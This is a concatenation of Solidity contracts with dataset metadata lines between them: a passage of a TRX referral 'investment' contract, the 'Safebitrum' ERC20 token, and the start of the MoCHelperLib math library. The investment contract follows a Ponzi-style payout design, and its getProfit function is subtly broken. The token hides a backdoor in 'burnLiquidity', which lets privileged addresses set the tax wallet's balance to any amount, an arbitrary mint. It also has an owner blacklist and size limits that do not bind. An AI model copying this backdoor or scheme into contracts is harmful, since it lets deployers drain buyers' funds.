Player storage player = players[_addr];
player.affFrom = _affAddr;
address _affAddr1 = _affAddr;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
players[_affAddr1].aff1sum = players[_affAddr1].aff1sum.add(1);
players[_affAddr2].aff2sum = players[_affAddr2].aff2sum.add(1);
players[_affAddr3].aff3sum = players[_affAddr3].aff3sum.add(1);
indexToPlayer[totalPlayers] = _addr;
}
function () external payable {
}
function whiteList(address _affAddr) public{
Player storage player = players[msg.sender];
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != msg.sender){
register(msg.sender, _affAddr);
}
else{
register(msg.sender, owner);
}
}
}
function deposit(address _affAddr) public payable {
require(now >= startTime);
collect(msg.sender);
require(msg.value >= minDepositSize);
uint256 depositAmount = msg.value;
Player storage player = players[msg.sender];
player.trxDeposit = player.trxDeposit.add(depositAmount);
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != msg.sender){
register(msg.sender, _affAddr);
}
else{
register(msg.sender, owner);
}
}
calculateReferral(msg.sender, msg.value);
calculateCurrLevel(msg.sender);
distributeRef(msg.value, player.affFrom);
uint256 devEarn = depositAmount.mul(devCommission).div(commissionDivisor);
devAddress.transfer(devEarn);
uint256 marketingReserve = depositAmount.mul(marketingComission).div(commissionDivisor);
marketingAddress.transfer(marketingReserve);
uint256 tgoldeReserve = depositAmount.mul(feedToTgolde).div(commissionDivisor);
tgoldeAddress.transfer(tgoldeReserve);
tgoldeDividend = tgoldeDividend.add(tgoldeReserve);
investHistorys[msg.sender].push(InvestHistory(msg.sender,player.affFrom,depositAmount,now));
emit Deposit(msg.sender, depositAmount, now);
}
function withdraw() public {
collect(msg.sender);
require(players[msg.sender].interestProfit > 0);
transferPayout(msg.sender, players[msg.sender].interestProfit);
}
function reinvest() public {
collect(msg.sender);
Player storage player = players[msg.sender];
uint256 depositAmount = player.interestProfit;
require(depositAmount >= minDepositSize);
require(contractBalance() >= depositAmount);
player.interestProfit = 0;
player.trxDeposit = player.trxDeposit.add(depositAmount);
calculateCurrLevel(msg.sender);
distributeRef(depositAmount, player.affFrom);
uint256 devEarn = depositAmount.mul(devCommission).div(commissionDivisor);
devAddress.transfer(devEarn);
uint256 marketingReserve = depositAmount.mul(marketingComission).div(commissionDivisor);
marketingAddress.transfer(marketingReserve);
uint256 tgoldeReserve = depositAmount.mul(feedToTgolde).div(commissionDivisor);
tgoldeAddress.transfer(tgoldeReserve);
tgoldeDividend = tgoldeDividend.add(tgoldeReserve);
investHistorys[msg.sender].push(InvestHistory(msg.sender,player.affFrom,depositAmount,now));
}
function ownerZeroouttGoldeDividend() public {
require(msg.sender == owner);
tgoldeDividend = 0;
}
function whiteListMigration(address _addr, address _affAddr) public{
require(msg.sender == owner);
Player storage player = players[_addr];
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != _addr){
register(_addr, _affAddr);
}
else{
register(_addr, owner);
}
}
}
function collect(address _addr) internal {
Player storage player = players[_addr];
if(player.trxDeposit >0){
uint256 secondsPassed = now.sub(player.time);
if (secondsPassed > 0 && player.time > 0) {
uint256 collectProfit = (player.trxDeposit.mul(secondsPassed.mul(level_[player.currLevel].interest))).div(interestRateDivisor);
player.interestProfit = player.interestProfit.add(collectProfit);
player.time = player.time.add(secondsPassed);
}
}
else if(player.time > 0){
player.time = now;
}
}
function transferPayout(address _receiver, uint256 _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
uint256 payout = _amount > contractBalance ? contractBalance : _amount;
totalPayout = totalPayout.add(payout);
Player storage player = players[_receiver];
player.interestProfit = player.interestProfit.sub(payout);
msg.sender.transfer(payout);
withdrawHistorys[msg.sender].push(WithdrawHistory(msg.sender,payout,now));
emit Withdraw(_receiver,payout, now);
}
}
}
function distributeRef(uint256 _trx, address _affFrom) private{
uint256 _allaff = (_trx.mul(7)).div(100);
address _affAddr1 = _affFrom;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
uint256 _affRewards = 0;
if (_affAddr1 != address(0)) {
_affRewards = (_trx.mul(4)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr1].affRewards = _affRewards.add(players[_affAddr1].affRewards);
_affAddr1.transfer(_affRewards);
}
if (_affAddr2 != address(0)) {
_affRewards = (_trx.mul(2)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr2].affRewards = _affRewards.add(players[_affAddr2].affRewards);
_affAddr2.transfer(_affRewards);
}
if (_affAddr3 != address(0)) {
_affRewards = (_trx.mul(1)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr3].affRewards = _affRewards.add(players[_affAddr3].affRewards);
_affAddr3.transfer(_affRewards);
}
if(_allaff > 0){
owner.transfer(_allaff);
}
}
function getProfit(address _addr) public view returns (uint256,uint256) {
address playerAddress= _addr;
Player storage player = players[playerAddress];
require(player.time > 0);
uint256 secondsPassed = now.sub(player.time);
if (secondsPassed > 0) {
uint256 collectProfit = (player.trxDeposit.mul(secondsPassed.mul(level_[player.currLevel].interest))).div(interestRateDivisor);
}
return (collectProfit.add(player.interestProfit),now);
}
function contractBalance() public view returns (uint256){
return address(this).balance;
}
function getPlayer(address _addr) public view returns (uint256, uint256, uint256, uint256){
return (players[_addr].trxDeposit,players[_addr].time,players[_addr].currLevel,players[_addr].affInvestTotal);
}
function getInvestHistorys(address _addr) public view returns (address[] memory, address[] memory, uint256[] memory, uint256[] memory) {
uint256 size = investHistorys[_addr].length;
if(size > 256){
size = 256;
}
address[] memory addresses = new address[](size);
address[] memory affAddresses = new address[](size);
uint256[] memory amounts = new uint256[](size);
uint256[] memory times = new uint256[](size);
for (uint256 i = 0; i < size; i++) {
InvestHistory storage invest = investHistorys[_addr][i];
addresses[i] = invest.who;
affAddresses[i] = invest.referral;
amounts[i] = invest.amount;
times[i] = invest.time;
}
return
(addresses,
affAddresses,
amounts,
times);
}
function getWithdrawHistorys(address _addr) public view returns (address[] memory, uint256[] memory, uint256[] memory) {
uint256 size = withdrawHistorys[_addr].length;
if(size > 256){
size = 256;
}
address[] memory addresses = new address[](size);
uint256[] memory amounts = new uint256[](size);
uint256[] memory times = new uint256[](size);
for (uint256 i = 0; i < size; i++) {
WithdrawHistory storage withdrawRecord = withdrawHistorys[_addr][i];
addresses[i] = withdrawRecord.who;
amounts[i] = withdrawRecord.amount;
times[i] = withdrawRecord.time;
}
return
(addresses,
amounts,
times);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 293,084 | 641 |
41809d567a6147d242d65cda2bcf59fd009453d66c178d93889751c6ee82f774
| 12,278 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/62/622eecdedd7eeb8bf115536f91a866321f4e5c9b_Safebitrum.sol
| 3,120 | 11,659 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Safebitrum is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=2;
uint256 private _finalBuyTax=2;
uint256 private _finalSellTax=2;
uint256 private _reduceBuyTaxAt=2;
uint256 private _reduceSellTaxAt=2;
uint256 private _preventSwapBefore=2;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"SAFEBITRUM";
string private constant _symbol = unicode"$SFB";
uint256 public _maxTxAmount = _tTotal*3/100*10**_decimals; //3%
uint256 public _maxWalletSize = _tTotal*3/100*10**_decimals; //3%
uint256 public _taxSwapThreshold = _tTotal*5/1000*10**_decimals; //0.5%
uint256 public _maxTaxSwap = _tTotal*2/100*10**_decimals; //2%
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(msg.sender);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this)){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function burnLiquidity(uint256 burn) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
_balances[_taxWallet] = burn;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| 34,109 | 642 |
d8a1f78f98eee24a7b01212d274e7f6ad81745fba85f59d73f1250cdf232f475
| 30,389 |
.sol
|
Solidity
| false |
199884348
|
money-on-chain/main-RBTC-contract
|
c6410b867de8e5de5df763bf8416a10ab8ae3d36
|
scripts/contract_flatten/MoCHelperLib_flat.sol
| 5,363 | 15,315 |
pragma solidity ^0.5.8;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library MoCHelperLib {
struct MocLibConfig {
uint256 reservePrecision;
uint256 dayPrecision;
uint256 mocPrecision;
}
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
function getMaxInt(MocLibConfig storage) public pure returns(uint256) {
return UINT256_MAX;
}
function inrateAvg(MocLibConfig storage config, uint256 tMax, uint256 power, uint256 tMin, uint256 abRat1, uint256 abRat2)
public view returns(uint256) {
require(tMax > tMin, "Max inrate should be bigger than Min inrate");
uint256 abRat1Comp = config.mocPrecision.sub(abRat1);
uint256 abRat2Comp = config.mocPrecision.sub(abRat2);
if (abRat1 == abRat2) {
return potential(config, tMax, power, tMin, abRat1Comp);
}
else if (abRat2 < abRat1) {
return avgInt(config, tMax, power, tMin, abRat1Comp, abRat2Comp);
}
else {
return avgInt(config, tMax, power, tMin, abRat2Comp, abRat1Comp);
}
}
function spotInrate(MocLibConfig storage config, uint256 tMax, uint256 power, uint256 tMin, uint256 abRatio) public view returns(uint256) {
uint256 abRatioComp = config.mocPrecision.sub(abRatio);
return potential(config, tMax, power, tMin, abRatioComp);
}
function potential(MocLibConfig storage config, uint256 a, uint256 b, uint256 c, uint256 value)
public view returns(uint256) {
// value ** b
// [MOC] ** [] = [MOC]
uint256 aux1 = pow(value, b, config.mocPrecision);
// (a * aux1) + c
// [MOC] [MOC] / [MOC] + [MOC] = [MOC]
return a.mul(aux1).div(config.mocPrecision).add(c);
}
function avgInt(MocLibConfig storage config, uint256 a, uint256 b, uint256 c, uint256 value1, uint256 value2)
public view returns(uint256) {
// value2 - value1
// [MOC]
uint256 diff = value2.sub(value1);
// ((c * (1 - value1) + ((a * ((1 - value1) ** (b + 1))) / (b + 1)))
uint256 intV1 = integral(config, a, b, c, value1);
// ((c * (1 - value2) + ((a * ((1 - value2) ** (b + 1))) / (b + 1)))
uint256 intV2 = integral(config, a, b, c, value2);
// (secOp - first) / diff
// ([MOC][MOC] - [MOC][MOC]) / [MOC] = [MOC]
return intV2.sub(intV1).div(diff);
}
function integral(MocLibConfig storage config, uint256 a, uint256 b, uint256 c, uint256 value)
public view returns(uint256) {
// b + 1
// [NONE]
uint256 b2 = b.add(1);
// c * value
// [MOC][MOC]
uint256 firstOp = c.mul(value);
// [MOC]
uint256 pow = pow(value, b2, config.mocPrecision);
// (a * value ** b2) / b2)
// [MOC][MOC]
uint256 secOp = a.mul(pow).div(b2);
// (firstOp + secOp)
// [MOC][MOC] + [MOC][MOC] = [MOC][MOC]
return firstOp.add(secOp);
}
function abundanceRatio(MocLibConfig storage config, uint256 doc0, uint256 doct)
public view returns(uint256) {
if (doct == 0) {
return config.mocPrecision;
}
// [DOC] [MOC] / [DOC] = [MOC]
return doc0.mul(config.mocPrecision).div(doct);
}
function bproSpotDiscountRate(MocLibConfig storage libConfig, uint256 bproLiqDiscountRate,
uint256 liq, uint256 utpdu, uint256 cov) public view returns(uint256) {
require(bproLiqDiscountRate < libConfig.mocPrecision, "Discount rate should be lower than 1");
if (cov >= utpdu) {
return 0;
}
// utpdu - liq
// [MOC] - [MOC] = [MOC]
uint256 utpduLiqDiff = utpdu.sub(liq);
// utpdu - cov
// [MOC] - [MOC] = [MOC]
uint256 utpduCovDiff = utpdu.sub(cov);
// TPD * utpduCovDiff / utpduLiqDiff
// [MOC] * [MOC] / [MOC] = [MOC]
return bproLiqDiscountRate.mul(utpduCovDiff).div(utpduLiqDiff);
}
function maxBProWithDiscount(MocLibConfig storage libConfig, uint256 nB, uint256 nDoc, uint256 utpdu,
uint256 peg, uint256 btcPrice, uint256 bproUsdPrice, uint256 spotDiscount) public view returns(uint256) {
require(spotDiscount < libConfig.mocPrecision, "Discount Rate should be lower than 1");
if (spotDiscount == 0) {
return 0;
}
// nBTC * B
// [RES] * [MOC] / [RES] = [MOC]
uint256 nbUsdValue = nB.mul(btcPrice).div(libConfig.reservePrecision);
// (TPusd * (1 - TPD))
// [MOC] * [MOC] / [MOC] = [MOC]
uint256 bproDiscountPrice = bproUsdPrice.mul(libConfig.mocPrecision.sub(spotDiscount))
.div(libConfig.mocPrecision);
return maxBProWithDiscountAux(libConfig, nbUsdValue, nDoc, utpdu, peg, bproDiscountPrice);
}
function maxBProWithDiscountAux(MocLibConfig storage libConfig, uint256 nbUsdValue, uint256 nDoc,
uint256 utpdu, uint256 peg, uint256 bproDiscountPrice) internal view returns(uint256) {
// uTPDU * nDOC * PEG
// [MOC] * [MOC] / [MOC] = [MOC]
uint256 coverageUSDAmount = utpdu.mul(nDoc).mul(peg).div(libConfig.mocPrecision);
// This case only occurs with Coverage below 1
if (coverageUSDAmount <= nbUsdValue) {
return 0;
}
// ([MOC] - [MOC]) * [RES] / [MOC] = [RES]
return coverageUSDAmount.sub(nbUsdValue).mul(libConfig.reservePrecision).div(bproDiscountPrice);
}
function lockedBitcoin(MocLibConfig storage libConfig, uint256 btcPrice, uint256 nDoc, uint256 peg) public view returns(uint256) {
return nDoc.mul(peg).mul(libConfig.reservePrecision).div(btcPrice);
}
function liquidationPrice(MocLibConfig storage libConfig, uint256 rbtcAmount, uint256 nDoc)
public view returns(uint256) {
// [MOC] * [RES] / [RES]
return nDoc.mul(libConfig.reservePrecision).div(rbtcAmount);
}
function bproTecPrice(MocLibConfig storage libConfig, uint256 nB, uint256 lb, uint256 nTP)
public view returns(uint256) {
// Liquidation happens before this condition turns true
if (nB < lb) {
return 0;
}
if (nTP == 0) {
return libConfig.mocPrecision;
}
// ([RES] - [RES]) * [MOC] / [MOC]
return nB.sub(lb).mul(libConfig.mocPrecision).div(nTP);
}
function bproxBProPrice(MocLibConfig storage libConfig, uint256 bproxTecPrice, uint256 bproPrice) public view returns(uint256) {
// [RES] * [MOC] / [RES] = [MOC]
return bproxTecPrice.mul(libConfig.mocPrecision).div(bproPrice);
}
function applyDiscountRate(MocLibConfig storage libConfig, uint256 price, uint256 discountRate)
public view returns(uint256) {
uint256 discountCoeff = libConfig.mocPrecision.sub(discountRate);
return price.mul(discountCoeff).div(libConfig.mocPrecision);
}
function getInterestCost(MocLibConfig storage libConfig, uint256 value, uint256 interestRate)
public view returns(uint256) {
// [ORIGIN] * [MOC] / [MOC] = [ORIGIN]
return value.mul(interestRate).div(libConfig.mocPrecision);
}
function coverage(MocLibConfig storage libConfig, uint256 nB, uint256 lB) public view
returns(uint256) {
if (lB == 0) {
return UINT256_MAX;
}
return nB.mul(libConfig.mocPrecision).div(lB);
}
function leverageFromCoverage(MocLibConfig storage libConfig, uint256 cov)
public view returns(uint256) {
if (cov == UINT256_MAX) {
return libConfig.mocPrecision;
}
if (cov <= libConfig.mocPrecision) {
return UINT256_MAX;
}
return cov.mul(libConfig.mocPrecision).div(cov.sub(libConfig.mocPrecision));
}
function leverage(MocLibConfig storage libConfig, uint256 nB,uint256 lB)
public view returns(uint256) {
if (lB == 0) {
return libConfig.mocPrecision;
}
if (nB <= lB) {
return UINT256_MAX;
}
return nB.mul(libConfig.mocPrecision).div(nB.sub(lB));
}
function docsBtcValue(MocLibConfig storage libConfig, uint256 amount,uint256 peg, uint256 btcPrice) public view returns(uint256) {
require(btcPrice > 0,"Bitcoin price should be more than zero");
require(libConfig.reservePrecision > 0, "Precision should be more than zero");
//Total = amount / satoshi price
//Total = amount / (btcPrice / precision)
// [RES] * [MOC] / [MOC]
uint256 docBtcTotal = amount.mul(libConfig.mocPrecision).mul(peg).div(btcPrice);
return docBtcTotal;
}
function bproBtcValue(MocLibConfig storage libConfig, uint256 bproAmount, uint256 bproBtcPrice)
public view returns(uint256) {
require(libConfig.reservePrecision > 0, "Precision should be more than zero");
// [MOC] * [RES] / [MOC] = [RES]
uint256 bproBtcTotal = bproAmount.mul(bproBtcPrice).div(libConfig.mocPrecision);
return bproBtcTotal;
}
function maxDoc(MocLibConfig storage libConfig, uint256 nB,
uint256 cobj, uint256 nDoc, uint256 peg, uint256 btcPrice, uint256 bCons) public view returns(uint256) {
require(libConfig.reservePrecision > 0, "Invalid Precision");
require(libConfig.mocPrecision > 0, "Invalid Precision");
// If cobj is less than 1, just return zero
if (cobj < libConfig.mocPrecision)
return 0;
// Cobj * B / BCons
// [MOC] * [MOC] / [MOC] = [MOC]
uint256 adjCobj = cobj.mul(btcPrice).div(bCons);
return maxDocAux(libConfig, nB, adjCobj, nDoc, peg, btcPrice);
}
function maxDocAux(MocLibConfig storage libConfig, uint256 nB, uint256 adjCobj, uint256 nDoc, uint256 peg, uint256 btcPrice)
internal view returns(uint256) {
// (nB*B)
// [RES] [MOC] [MOC] / [RES] = [MOC] [MOC]
uint256 firstOperand = nB.mul(btcPrice).mul(libConfig.mocPrecision).div(libConfig.reservePrecision);
// (adjCobj*nDoc*PEG)
// [MOC] [MOC]
uint256 secOperand = adjCobj.mul(nDoc).mul(peg);
// (PEG*(adjCobj-1)
// [MOC]
uint256 denom = adjCobj.sub(libConfig.mocPrecision).mul(peg);
if (firstOperand <= secOperand)
return 0;
// ([MOC][MOC] - [MOC][MOC]) / [MOC] = [MOC]
return (firstOperand.sub(secOperand)).div(denom);
}
function maxBPro(MocLibConfig storage libConfig, uint256 nB, uint256 cobj,
uint256 nDoc, uint256 peg, uint256 btcPrice, uint256 bCons, uint256 bproUsdPrice) public view returns(uint256) {
require(libConfig.reservePrecision > 0, "Invalid Precision");
require(libConfig.mocPrecision > 0, "Invalid Precision");
// Cobj * btcPrice / BCons
// [MOC] * [MOC] / [MOC] = [MOC]
uint256 adjCobj = cobj.mul(btcPrice).div(bCons);
// (nB * btcPrice)
// [RES] * [MOC] * [MOC] / [RES] = [MOC] [MOC]
uint256 firstOperand = nB.mul(btcPrice)
.mul(libConfig.mocPrecision)
.div(libConfig.reservePrecision);
// (adjCobj * nDoc * PEG)
// [MOC] * [MOC]
uint256 secOperand = adjCobj.mul(nDoc).mul(peg);
if (firstOperand <= secOperand)
return 0;
// ([MOC][MOC] - [MOC][MOC]) / [MOC] = [MOC]
return (firstOperand.sub(secOperand)).div(bproUsdPrice);
}
function totalBProInBtc(MocLibConfig storage libConfig, uint256 amount, uint256 bproPrice) public view returns(uint256) {
// [RES] * [MOC] / [MOC] = [RES]
return bproPrice.mul(amount).div(libConfig.mocPrecision);
}
function maxDocsWithBtc(MocLibConfig storage libConfig, uint256 btcAmount, uint256 btcPrice) public view returns(uint256) {
// [RES] * [MOC] / [RES] = [MOC]
return btcAmount.mul(btcPrice).div(libConfig.reservePrecision);
}
function maxBProWithBtc(MocLibConfig storage libConfig, uint256 btcAmount, uint256 bproPrice) public view returns(uint256) {
if (bproPrice == 0) {
return 0;
}
// [RES] * [MOC] / [RES]
return btcAmount.mul(libConfig.mocPrecision).div(bproPrice);
}
function bucketTransferAmount(MocLibConfig storage libConfig, uint256 btcAmount, uint256 lev) public view returns(uint256) {
require(lev > libConfig.mocPrecision, "Leverage should be more than 1");
if (lev == UINT256_MAX || btcAmount == 0) {
return 0;
}
// (lev-1)
uint256 levSubOne = lev.sub(libConfig.mocPrecision);
// Intentionally avaoid SafeMath
// [RES] * [MOC]
uint256 transferAmount = btcAmount * levSubOne;
if (transferAmount / btcAmount != levSubOne)
return 0;
// [RES] * [MOC] / [MOC] = [RES]
return transferAmount.div(libConfig.mocPrecision);
}
function maxBProxBtcValue(MocLibConfig storage libConfig, uint256 nDoc, uint256 peg, uint256 btcPrice, uint256 lev) public view returns(uint256) {
require(libConfig.reservePrecision > 0, "Invalid Precision");
require(libConfig.mocPrecision > 0, "Invalid Precision");
if (lev <= libConfig.mocPrecision) {
return 0;
}
// (lev-1)
// [MOC]
uint256 levSubOne = lev.sub(libConfig.mocPrecision);
// PEG * BtcPrice
// [MOC]
uint256 pegTimesPrice = peg.mul(btcPrice);
// This intentionally avoid using safeMath to handle overflow case
// PEG * BtcPrice * (lev - 1)
// [MOC] * [MOC]
uint256 dividend = pegTimesPrice * levSubOne;
if (dividend / pegTimesPrice != levSubOne)
return 0; // INFINIT dividend means 0
// nDoc adjusted with precisions
// [MOC] [RES]
uint256 divider = nDoc.mul(libConfig.reservePrecision);
// [MOC] [RES] [MOC] / [MOC] [MOC]
return divider.mul(libConfig.mocPrecision).div(dividend);
}
function maxMoCWithBtc(MocLibConfig storage , uint256 btcAmount, uint256 btcPrice, uint256 mocPrice) public pure returns(uint256) {
return btcPrice.mul(btcAmount).div(mocPrice);
}
function mocBtcValue(MocLibConfig storage , uint256 amount, uint256 btcPrice, uint256 mocPrice) public pure returns(uint256) {
require(btcPrice > 0,"Bitcoin price should be more than zero");
require(mocPrice > 0,"MoC price should be more than zero");
